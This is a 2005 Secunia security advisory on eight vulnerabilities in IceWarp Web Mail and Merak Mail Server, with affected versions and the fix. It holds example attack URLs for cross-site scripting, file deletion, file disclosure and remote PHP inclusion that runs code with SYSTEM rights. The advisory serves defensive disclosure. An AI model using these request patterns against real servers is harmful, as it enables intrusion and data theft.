Secunia CSI 5.0
Overview
Advisories
Research
Forums
Create Profile
Our Commitment
Database
Search
Advisories by Product
Advisories by Vendor
Terminology
Report Vulnerability
Insecure Library Loading

Secunia Advisory SA17046

IceWarp Web Mail Multiple Vulnerabilities
Secunia Advisory SA17046
Get alerted and manage the vulnerability life cycle
Free Trial

Release Date 2005-10-03
Last Update 2006-01-20
   
Popularity 15,722 views
Comments 0 comments

Criticality level Highly criticalHighly critical
Impact Cross Site Scripting
Manipulation of data
Exposure of system information
Exposure of sensitive information
System access
Where From remote
Authentication level Available in Customer Area
   
Report reliability Available in Customer Area
Solution Status Partial Fix
   
Systems affected Available in Customer Area
Approve distribution Available in Customer Area
   
Software:
IceWarp Web Mail 5.x
Merak Mail Server 8.x

Secunia CVSS Score Available in Customer Area
CVE Reference(s) CVE-2005-3131 CVSS available in Customer Area
CVE-2005-3132 CVSS available in Customer Area
CVE-2005-3133 CVSS available in Customer Area
  

Description

Some vulnerabilities have been discovered in IceWarp Web Mail, which can be exploited by malicious people to conduct cross-site scripting attacks, delete arbitrary files, disclose system and sensitive information, and to compromise a vulnerable system.

1) Some input isn't properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Examples:
http://[host]:32000/mail/blank.html?id=[code]
http://[host]:32000/mail/calendar_d.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_m.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[code]

2) The problem is that it is possible to disclose the full path to the installation directory by accessing the "mail/bwlist_inc.html" and "accounts/bwlist_inc.html" scripts directly.

3) Input passed to the "id" parameter in "mail/logout.html" isn't properly verified, before it is used to delete files. This can be exploited to remove arbitrary files and empty directories.

4) Input passed to the "helpid" parameter in "accounts/help.html" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from local resources.

Vulnerabilities #1 through #4 have been confirmed in Merak Mail Server 8.2.4r with IceWarp Web Mail 5.5.1. Other versions may also be affected.

5) The webmail and webadmin services run with PHP configured with "register_global" enabled. The "language" and "lang_settings" variables in "/accounts/inc/include.php" and "/admin/inc/include.php" are not properly initialised when the scripts are accessed directly. This makes it possible to overwrite the variables to cause the scripts to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/
http://[host]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server with SYSTEM privileges without requiring authentication.

6) Input passed to the "lang" parameter in "/dir/include.html" isn't properly validated before being used to include files. This can be exploited to include arbirary files from local sources.

Example:
http://[host]:32000/dir/include.html?lang=[file]%00

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

7) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/;

Successful exploitation allows execution of arbitrary PHP scripts on a vulnerable server with SYSTEM privileges but requires a valid logon.

8) The "default_layout" and "layout_settings" variables are not properly initialised when "/mail/include.html" encounters a HTTP_USER_AGENT string that it does not recognise. This can be exploited in conjunction with overwrite of the "default_layout" and "layout_settings" variables to disclose the content of local files.

Example (using non-IE/Mozilla/Firefox browser):
http://[host]:32000/mail/index.html?/mail/index.html?
default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

Vulnerabilities #5 through #8 have been confirmed in Merak Mail Server 8.3.0r with IceWarp Web Mail 5.5.1. Other versions may also be affected.


Solution
Update to Merak Mail Server version 8.3.5r.
Further details available in Customer Area

Provided and/or discovered by
1-4) ShineShadow
5-8) Tan Chew Keong, Secunia Research.

Changelog
Further details available in Customer Area

Original Advisory
Secunia Research:
http://secunia.com/secunia_research/2005-62/advisory/

Deep Links
Links available in Customer Area


Do you have additional information related to this advisory?

Please provide information about patches, mitigating factors, new versions, exploits, faulty patches, links, and other relevant data by posting comments to this Advisory. You can also send this information to vuln@secunia.com

Subject: IceWarp Web Mail Multiple Vulnerabilities
 
No posts yet

-

You must be logged in to post a comment.




 Products Solutions Customers Partner Resources Company
 
 Corporate
Vulnerability Intelligence Manager (VIM)
Corporate Software Inspector (CSI)
Consumer
Personal Software Inspector (PSI)
Online Software Inspector (OSI)
 Industry
Compliance
Technology
Integration
 Customers
Testimonials
 VARS
MSSP
Technology Partners
References
 Factsheets
Reports & Papers
Webinars
Events
 About us
Careers
Memberships
Newsroom


 
© 2002-2012 Secunia ApS - Rued Langgaards Vej 8, 4th floor, DK-2300 Copenhagen, Denmark - +45 7020 5144
Terms & Conditions and Copyright - Privacy - Report Vulnerability